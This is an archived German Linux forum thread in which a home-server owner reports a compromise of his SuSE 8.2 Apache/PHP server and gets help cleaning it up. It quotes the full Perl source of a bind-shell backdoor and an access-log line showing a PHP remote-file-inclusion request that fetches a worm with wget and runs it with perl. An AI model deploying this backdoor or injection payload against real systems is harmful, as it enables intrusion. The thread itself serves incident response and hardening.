PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : sie waren schon wieder auf meinem suse server drauf :(



Seiten : [1] 2

athlon
24.12.04, 19:30
Hallo leute!

Ich werde bald noch wahnsinnig!

Ich habe einen SuSE Linux 8.2 (i586) installiert. ER dient als webserver usw usw usw.

Irgendwie haben die dateien auf meinem server abgelegt (document root und /tmp) und als ich mich eingeloggt habe hatte der server einen load von 3 und es liefen irgendwelche perl scripte im hintergrund

( -rwxrwxrwx 1 wwwrun nogroup 765 Sep 1 11:47 .bs.pl
-rw-r--r-- 1 wwwrun nogroup 20301 Dec 23 05:09 bot
-rw-r--r-- 1 wwwrun nogroup 20835 Jul 11 17:43 sh3llb0t.pl
)

das bot war es..

Irgendwie scheint er über php und den apache in das file system gekommen sein und hat in /tmp/ diese dateien abgelegt und konnte sie sogar AUSFÜHREN!!! ARGH.. wie bekomme ich das in den griff??

Ich benutzte apache-1.3.27-96 und mod_php4-core-4.3.1-169,
mod_php4-4.3.1-169

Kann ich irgendwie über die php.ini was sicherer machen?

Mann mist das geht mir auf die nerven! Erst werde ich mit spam mails bombadiert und die wurden von meinem server auch verschickt und jetzt können sie auch noch files ablegen und ausführen - wird ja immer schlimmer!

Ich HOFFE ihr könnt mir tipps geben, wie ich mein system sicherer machen kann!

Danke im Voraus!

P.s. ich möchte nicht neu installieren oder so - das das ein verdammt hoher aufwand iss (scripte, cronjobs,configs usw usw usw)..

athlon
24.12.04, 19:35
AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH


ich hab mir die scripte angeschaut.. das gibts net..
dieses script hier .bs.pl



#!/usr/bin/perl

# * Author:
# headflux (hf@synnergy.net)
# Synnergy Networks (c) 1999, http://www.synnergy.net
# *** Synnergy Networks

use Socket;

#rintf "BS\n";
#lush();

$port= 60021;
$proto= getprotobyname('tcp');
$cmd= "lpd";
$system= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;


socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";

setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";

bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";

listen(SERVER, SOMAXCONN)or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");

system($system);

close(STDIN);
close(STDOUT);
close(STDERR);
}


wenn das teil läuft kann ich mich mit telnet port 60021 auf dem teil einloogen ohne pwd usw und befehle ausführen! ich packs net...

das andere script ist ein shellbot..

#!/usr/bin/perl
#
# ShellBOT - Atrix Team
#
# 0ldW0lf - oldwolf@atrix-team.org
# - www.atrix-team.org
# - www.atrix.cjb.net
#
#

keine ahnung was das ist..

ich hoffe ihr könnt mir helfen! wähäää..

geronet
24.12.04, 19:40
Also wenn du beim dritten mal auch nichts dazugelernt hast dann hilft dir das rumschreien auch nicht weiter.
Es gibt nur eine Lösung: Den Rechner total platt machen und eine aktuelle Distribution drauf mit allen Sicherheitspatches.

Und nein, es gibt keine andere Möglichkeit.

Grüsse, Stefan

athlon
24.12.04, 20:15
danke für deinen sehr hilfreichen tipp..

- ist das hier windows oder was?

tse..

hab gerade security holes gefunden und installier jetzt alle neusten patche hoffe das hilft.

hat sonst noch jemand tipps, ideen etc?..

Tomek
24.12.04, 20:22
Tipps? Befasse dich umfassend mit dem Thema Sicherheit. Dazu gibt es haufenweise Dokumentationen im Internet.

geronet
24.12.04, 20:25
Wenn es ein dummer Script-Kiddy ist hat er keine anderen Hintertürchen eingebaut, falls doch kannst ihm in /tmp einen Willkommensgruß hinterlegen - fürs nächste mal. Dann baut er vielleicht Prozesse ein die du nicht sehen kannst :D

blauerpeti
24.12.04, 20:26
ist das hier windows oder was?

..ne es ist weihnachten...viel Spass mit deinem server auch noch :D

athlon
24.12.04, 21:35
Tipps? Befasse dich umfassend mit dem Thema Sicherheit. Dazu gibt es haufenweise Dokumentationen im Internet.

naja hätte ja sein können das hier jemand genau so einen tipp für mich hat - wie ich den server sicher machen kann - denn davon hab ich keine ahnung - dachte ihr habt sie hier und könnt mir weiterhelfen

phoenix22
24.12.04, 21:37
naja hätte ja sein können das hier jemand genau so einen tipp für mich hat - wie ich den server sicher machen kann - denn davon hab ich keine ahnung - dachte ihr habt sie hier und könnt mir weiterhelfen

Warum betreibst du einen Server ohne Ahnung davon zu haben? Findest du das nicht verantwortungslos? Dir ist bewusst, dass du dich beträchtlichen rechtlichen und finanziellen Risiken aussetzt?

Tomek
24.12.04, 22:12
naja hätte ja sein können das hier jemand genau so einen tipp für mich hat - wie ich den server sicher machen kann - denn davon hab ich keine ahnung - dachte ihr habt sie hier und könnt mir weiterhelfen
Es gibt nicht DEN Tipp. Es gibt auch kein absolut sicheres System. Und jetzt alles aufzuzählen würde den Rahmen sprengen.

athlon
24.12.04, 22:12
@phoenix22

wer sagt denn das ich davon keine ahnung habe??
deine aussage finde ich ehrlich gesagt total lächerlich!

1. mal fängt jeder mal an
2. mal aus fehlern lernt man
und 3. mal kann es dir auch passieren das jemand auf dienen server kommt
vielleicht hats nur noch keiner probiert? ist wohl eher die warscheinlichkeit würde ich mal vermuten oder?... jeden kann das treffen deswegen dachte ich hier hätte jemand ein paar tipps um was besser zu machen aber anscheinen habt ihr selber keine ahnung davon!..

@ Tomek
ich suche nicht den ultimativen tipp wie man ein linux system sicher bekommen kann sondern:

kennt jemand das programm?welche sicherheitslücke nutzt es aus - reicht es wenn ich die scripte lösche und php, apache etc updates installiere??
wie kann ich root kits aufspüren (gibt es da eine relativ einfache möglichkeit) oder sonstiges.. speziell im zusammenhang mit diesem komischen ShellBOT teil.

phoenix22
24.12.04, 22:33
@phoenix22

wer sagt denn das ich davon keine ahnung habe??
deine aussage finde ich ehrlich gesagt total lächerlich!

1. mal fängt jeder mal an
2. mal aus fehlern lernt man


Klar fängt jeder mal an. Es fängt auch jeder mal an zu schwimmen. Lernst du schwimmen im stürmischen Ozean oder im Plantschbecken?



und 3. mal kann es dir auch passieren das jemand auf dienen server kommt
vielleicht hats nur noch keiner probiert? ist wohl eher die warscheinlichkeit würde ich mal vermuten oder?... jeden kann das treffen deswegen dachte ich hier hätte jemand ein paar tipps um was besser zu machen aber anscheinen habt ihr selber keine ahnung davon!..

Ja du hast recht, dass auch gut gesicherte Server kompromittiert werden können. Dies passiert natürlich aber bei schlecht gesicherten Servern leichter. Da du nach Tipps fragst, schließe ich daraus, dass du dich mit dem Thema Sicherheit bisher nur begrenzt beschäftigt hast. Und ich halte es führ fahrlässig einen Server zu betreiben ohne sich VORHER über die Sicherheit zu informieren, vorher im gesicherten Umfeld Erfahrungen zu sammeln. Wenn du natürlich beruflich plötzlich dazu verdonnerst wird, dann bleibt dir keine Wahl.

Gut, aber man soll ja in die Zukunft sehen. Für das Rootkit Problem guck mal auf http://www.chkrootkit.org/

Du solltest unbedingt aktuelle Packete verwenden, oder ältere Versionen mit Sicherheitspatches. Da Suse für ältere Versionen nach einiger Zeit keine Updates mehr bereitstellt, ist es wohl am vernünftigsten auf die jeweils aktuellste Suse-Version zu aktualisieren, alles andere würde von dir sehr viel mehr Arbeit fordern.

Versuch die logfiles zu analysieren um herauszufinden, wie in deinem Server eingedrungen wurde. War es die Sicherheitslücke eine Dienstes oder hast du z.B. unsichere Passwörter verwendet? Oder wiesen die PHP Skripte Sicherheitslücken auf?

Grundsätzlich solltest du ein Backup deiner Daten machen und eine komplette Neuinstallation machen um jegliche Hintertür ausschließen zu können. Evtl. mach ein image vom jetzigen Zustand der Platte, wenn du den Einbruch belegen/analysieren will.

Zu den konkreten Perl Scripten kann ich dir nichts sagen. Hast du denn bei google nichts dazu gefunden?

Stormbringer
24.12.04, 22:37
@athlon
Schalte das System so lange ab, bis Du die benötigten Infos gefunden hast!

Es ist wahrlich verantwortungslos, zum wiederholten Male die Kontrolle über das eigene System verloren zu haben ....
"Den Tip" gibt es nicht ... kann es auch gar nicht geben, da bspw. DBs vollkommen unterschiedlich agieren (MySQL, postgres, DB/2, etc.) - und da Dir bei deinen eigenen Recherche ja offensichtlich keine Fehlerquellen bekannt geworden sind, wird es für andere erst recht schwer, da die ja noch nicht einmal genau wissen, welche Software bei Dir läuft - sollte es aber ein phpBB oder phpnuke System sein, so gibt es dazu an allen Ecken und Enden Infos.

Das System muß eh neu aufgesetzt werden, da ja nun einmal nicht gesagt werden kann (tripwire ist doch sicherlich nicht installiert & konfiguriert, oder?), ob irgendwo ein weiteres Hintertürchen eingerichtet wurde ... sollte da noch eine FW stehen, so schließe doch erst einmal sämtliche Ports.

Gruß

athlon
24.12.04, 22:48
@stormbringer
allers klar das hilft mir schon mal weiter.
Und nein ich habe mich mit dem thema sicherheit noch nicht so arg beschäftigt - für einen kleinen home server denkt da ja nicht jeder gleich dran..

das ich die kontrolle über den server verloren habe kann man auch nicht direkt sagen - es liefen halt 2 prozesse die nicht von mir sind sondern ein eindringling gestartet hat

pwds sind eigentlich ganz gut, aber ich ändere sie nicht oft / bzw. gar nicht..

Per ssh waren sie nicht auf meinem rechner irgendwie haben sie über php die datei ins /tmp filesystem geschrieben.. - sieht man ja auch an den berechtigungen das es über den apache kam.

Neu installieren ist einfach gesagt ich bastel an dem teil schon fast 1,5 jahre herum mit allen scripten und configs.. das ist leicht gesagt einfach neu installierne.

backup mache ich immer 1x die woche sonntag nachts (tarball)

alle neuen updates von suse habe ich jetzt installiert (php,mysql,apache usw..) war wirklich einiges!! (52 mb).

Kann ich "einfach" von 8.2 auf 9.2 ugraden ohne komplett neu installieren zu müssen? so ein upgrade modus gibt es ja.

Ich habe halt einfach nur keine nerven noch mal von neu anzufangen!:. (klar scripte kann ich sichern usw.. aber trotzdem muss alles neu konfiguriert werden.

Ich bin noch auf der suche in google wegen dem komischen script.. scheint aber bekannt zu sein das teil.

@Stormbringer ja firewall ist dazwischen - ist aber halt einiges auf den server weiter geleitet (mldonkey, 80 443 25 22)..
werde dann jetzt erstmal alles dicht machen.. nein tripwire kenne ich nicht.

`kk
24.12.04, 23:15
Es gibt nur eine Lösung: Den Rechner total platt machen und eine aktuelle Distribution drauf mit allen Sicherheitspatches.
Jop, einzige Option.
Sorry, aber... mach es sicher dann musst du nicht zweimal installieren.

athlon
24.12.04, 23:16
Jop, einzige Option.
Sorry, mach es sicher dann musst du nicht zweimal installieren.

wow sehr hilfreicher spruch: "Mach es sicher"
danke jetzt weiß ich wies geht :)

athlon
24.12.04, 23:18
wann pass penner:

apache errorlog:

--23:25:07-- http://www.cafatecsp.org.br/aworm.txt
=> `aworm.txt'
Resolving www.cafatecsp.org.br... done.
Connecting to www.cafatecsp.org.br[200.201.194.234]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,137 [text/plain]

0K ... 100% 10.04 KB/s

23:25:31 (10.04 KB/s) - `aworm.txt' saved [3137/3137]


hier schon wieder was (von heute eben grad).. hab jetzt patche installiert und server rebootet..

das ist das bot teil:..

[Wed Dec 22 19:08:47 2004] [error] [client 217.121.230.254] request failed: URI too long
--05:09:21-- http://www.commandt.org/bot
=> `bot'
Resolving www.commandt.org... done.
Connecting to www.commandt.org[67.19.198.164]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20,301 [text/plain]

0K .......... ......... 100% 35.34 KB/s

05:09:27 (35.34 KB/s) - `bot' saved [20301/20301]

also haben sie auf jeden fall per php eingeschleust.. mist

`kk
24.12.04, 23:19
danke jetzt weiß ich wies geht
Es gibt massenweise Howtos zu dem Thema und es gibt google.

PS:
Lass mal chkrootkit / rkhunter rüberlaufen.
Die sagen dir sicher, welches Rootkit installiert ist.

Krischi
24.12.04, 23:19
@stormbringer
allers klar das hilft mir schon mal weiter.
Und nein ich habe mich mit dem thema sicherheit noch nicht so arg beschäftigt - für einen kleinen home server denkt da ja nicht jeder gleich dran.. Da sollte man immer dran denken.

das ich die kontrolle über den server verloren habe kann man auch nicht direkt sagen - es liefen halt 2 prozesse die nicht von mir sind sondern ein eindringling gestartet hat Das sind zwei Prozesse, die sich Deiner Kontrolle entzogen haben. Das kann man durchaus als "Kontrollverlust über das System" bezeichnen.

Neu installieren ist einfach gesagt ich bastel an dem teil schon fast 1,5 jahre herum mit allen scripten und configs.. das ist leicht gesagt einfach neu installierne.Das ist immer leichter gesagt, als getan, aber bedauerlicherweise die einzig sinnvolle Verfahrensweise, wenn ein System erstmal komprommitiert ist.

Kann ich "einfach" von 8.2 auf 9.2 ugraden ohne komplett neu installieren zu müssen? so ein upgrade modus gibt es ja.Davon ist abzuraten. Schon von einer Version auf die nächste sind solche upgrades häufig mit genug Schwierigkeiten verbunden. Und Du würdest dabei gleich zwei Veisionen komplett überspringen.
Es dürfte nicht funktionieren.

athlon
24.12.04, 23:27
Es gibt massenweise Howtos zu dem Thema und es gibt google.

PS:
Lass mal chkrootkit / rkhunter rüberlaufen.
Die sagen dir sicher, welches Rootkit installiert ist.


optimal vielen DAnk für den Link werde ich jetzt gleich testen!


200.164.250.175 - - [24/Dec/2004:23:25:32 +0100] "GET /athlon/index.php4?main=http://www.setanet.com.br/cse.gif?&cmd=cd%20/tm
p;wget%20http://www.cafatecsp.org.br/aworm.txt;perl%20aworm.txt HTTP/1.1" 200 12438 "-" "-"

da isses so haben sies gemacht.. :(
ich glaub ich schmeiss glei wget runter...
in php kann ich doch so methoden (wgets) bestimmt ausstellen..


edit:

hier ist eine heise meldung bekannt die genau dieses problem beschreibt:
http://www.heise.de/newsticker/meldung/51838

ist eine php sicherheitslücke ich schalte in der php.ini foben aus und versuche die gleiche url aufzurufen um zu schauen ob es immer noch geht..

edit2:
das chkrootkit hat nichts auf meinem System gefunden

@tomtec danke für die URL und deinen Hinweis!

Tomek
24.12.04, 23:34
Du willst in der php.ini die Option allow_url_fopen auf Off stellen. Nähere Informationen dazu findest du hier (http://de2.php.net/manual/de/ref.filesystem.php#ini.allow-url-fopen).

Stormbringer
25.12.04, 08:24
Ggf. würde es Dir helfen, wenn Du bzgl. der php Skripte mal in einem auf Programmierung spezialisertem Forum nachfragst ... bspw. http://www.mrunix.de/forums/index.php

Ein Upgrade von SuSE 8.2 -> SuSE 9.2 kann eigentlich nur schiefgehen ...
Andere Kernelrevisionen (2.4.x -> 2.6.x), es wird kein apache 1.3.x mitgelierfert (nur 2.0.x), bei der 9.2 beginnen die UIDs nun bei 1000 (bei 8.2 noch bei 500), etc. - auf jeden Fall wäre ein Upgrade eine hochgradig aufwändige Geschichte.

Wenn Du genau diese zwei von Dir geposteten URLs nicht mehr sehen möchtest (bzw. Zugriffe aus den jeweiligen Netzen), da nutze doch die Möglichkeiten der /etc/hosts.deny, und trage dort die Netze ein ... bspw.:


ALL: 218.21.64.0/255.255.192.0 : DENY
ALL: 11.161.41.0/255.255.255.0 : DENY
ALL: 218.85.0.0/255.255.128.0 : DENY
ALL: 61.129.0.0/255.255.0.0 : DENY
ALL: 200.201.194.0/255.255.255.0 : DENY
ALL: 200.247.22.0/255.255.255.0 : DENY

Gruß

mamue
25.12.04, 14:25
@stormbringer
1.: alle neuen updates von suse habe ich jetzt installiert (php,mysql,apache usw..) war wirklich einiges!! (52 mb).
2.: Kann ich "einfach" von 8.2 auf 9.2 ugraden ohne komplett neu installieren zu müssen? so ein upgrade modus gibt es ja.


1.: Das ist jetzt wohl ein bisschen spät. Es gibt wohl keine gesicherten Server mit einer uptime von mehr als 100 Tagen, glaube ich.
2.: Nach eigenen Erfahrungen empfehle ich eher eine Neuinstallation als ein Update. Das letzte mal habe ich erst das Update gemacht und danach die Neuinstallation... Das muß aber nicht immer so sein. Wie willst Du nur sicherstellen, dass das rootkit nach dem Update weg ist? Alles in allem: Mach eine Neuinstallation, Du musst ohnehin wissen, was auf Deinem Server läuft und warum es funktioniert.

3.: Du gefährdest oder belästigst andere mit einem gecrackten host. Wenn Du auch noch davon weisst, tust Du das vorsätzlich oder zumindest grob fahrlässig. Du könntest als Spammer höchstselbst zur Rechenschaft gezogen werden und solltest das meiner bescheidenen und unmaßgeblichen Ansicht auch.

Frohe Weihnachten,
mamue

`kk
25.12.04, 14:46
rkhunter auch probiert?
Finde ich persönlich besser als chkrootkit.

cane
26.12.04, 13:50
@athlon

Als erstes Server runterfahren bzw. per Firewall vom Inet trennen!

Dann lies Dir mal das hier durch: http://linuxforen.de/forums/showthread.php?t=136651

Dann beschäftige Dich mit der Absicherung deiner PHP-Umgebung. Ein Stichwort wurde schon genannt, ein anderes wäre open_basedir. Einen sehr guten Artikel gabs in einem der letzten Linux-Magazine.

Last but not least:
Hör auf das was Dir Personen empfehlen die seit Jahren Produktivumgebungen betreuen. Du bist momentan absolut nicht in der Lage dein System vernünftig zu betreuen. Damit stellst Du eine Gefahr für uns alle dar!

Denk mal drüber nach - hier will Dich niemand angreifen sondern Dir klarmachen wie wahnsinnig Dein Tun ist!

mfg
cane

athlon
26.12.04, 16:21
soo hab jetzt php umkonfiguriert.
ich werde den server nicht neu installieren ich habe in den apache logs gesehen das sie 3x solche befehle ausgeführt haben ich habe mir die scripte angeschaut 1x davon ging nicht weil das perl modul gefehlt hat und das andere lief ja aber war nur so ein irc zeug aber damit konnten sie auch nichts anfangen weil die ports zu waren.
habs jetzt getestet und die sachen funktionieren nicht mehr habe viele php save mode on gesetzt, save mode exec dir, open basedir, und folgende funktionen deaktiviert: disable_functions = system,passthru,popen,shell_exec php fehlermeldungen werden auch nicht abgehongen..
in die anderen filesysteme ausser das apache documentroot - verändert werden können die dateien auch nicht da sie jetzt alle root gehören php kann sie nur lesen.
tja hätt ich das vorher gewusst.. naja man lernt ja ständig dazu!

trotzdem danke für eure hilfe!

Stormbringer
26.12.04, 18:28
soo hab jetzt php umkonfiguriert.
ich werde den server nicht neu installieren
Davon kann man wirklich nur abraten! ... aber letzendlich bleibt es natürlich Deine Entscheidung ...


in die anderen filesysteme ausser das apache documentroot - verändert werden können die dateien auch nicht da sie jetzt alle root gehören php kann sie nur lesen.
Auch wenn ich das nicht wirklich verstehe: Du bist Dir bewußt, daß Du damit u. U. eine viel größere Gefahr heraufbeschworen hast?
Nun genügt eine Schwachstelle, und ein Angreifer erhält dann halt root Berechtigungen ...


tja hätt ich das vorher gewusst.. naja man lernt ja ständig dazu!

Ja, das Leben kann gemein sein ... zum Lernen gehört aber auch, sich Erfahrungen anderen zu eigen zu machen ...

Gruß

IT-Low
26.12.04, 18:35
ich habe in den apache logs gesehen das sie 3x solche befehle ausgeführt haben

Falsch! Du hast 3 verdächtige Einträge im Logfile gefunden. Ja, und? Die restlichen 2459 Einträge wurden vielleicht durch ein Rootkit "gesäubert", nach dem es ein paar Systemaufrufe gewrappt hat. Wie kannst du diesem System noch vertrauen? Das ist IMHO mehr als fahrlässig.

bla!zilla
26.12.04, 19:41
Tja, es ist seine Entscheidung. Nur wird die Staatsanwaltschaft es ihm sicherlich nicht zu seinem Vorteil auslegen, wenn von seinem Server aus weitere Attacken gestartet werden.

derguteweka
26.12.04, 20:01
Moin,

@athlon: Bei so nem System musst du unbedingt die glibc updaten. Wenn du den Server nicht gleich neu aufsetzen willst ist das eine sehr gute Methode. Nicht dass es wirklich helfen wuerde, aber es waere wenigstens schoener, blinder Aktionismus und deine naechsten Probleme wuerden uns weiterhin aufs vortrefflichste amuesieren :)

Gruss
WK